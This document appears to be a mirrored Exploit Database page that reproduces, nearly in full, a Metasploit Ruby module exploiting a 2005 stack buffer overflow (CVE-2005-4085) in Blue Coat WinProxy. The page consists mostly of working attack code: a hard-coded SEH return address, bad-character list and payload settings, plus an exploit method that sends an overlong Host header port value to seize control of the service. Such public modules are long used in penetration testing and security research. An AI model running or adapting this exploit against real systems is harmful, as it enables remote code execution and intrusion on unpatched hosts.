Blue Coat WinProxy – Host Header Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-07-12
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16691/

• ##
  # $Id: bluecoat_winproxy_host.rb 9797 2010-07-12 23:25:31Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] }
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Blue Coat WinProxy Host Header Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in the Blue Coat Systems WinProxy
  				service by sending a long port value for the Host header in a HTTP
  				request.
  			},
  			'Author' => 'MC',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9797 $',
  			'References' =>
  				[
  					['CVE', '2005-4085'],
  					['OSVDB', '22238'],
  					['BID', '16147'],
  					['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 600,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'Jan 5 2005',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(80)
  			], self.class)
  
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		sploit= "GET / HTTP/1.1" + "\r\n"
  		sploit += "Host: 127.0.0.1:"
  		sploit += rand_text_english(31, payload_badchars)
  		seh= generate_seh_payload(target.ret)
  		sploit[23, seh.length] = seh
  		sploit += "\r\n\r\n"
  
  		sock.put(sploit)
  		sock.get_once(-1, 3)
  
  		handler
  		disconnect
  	end
  
  end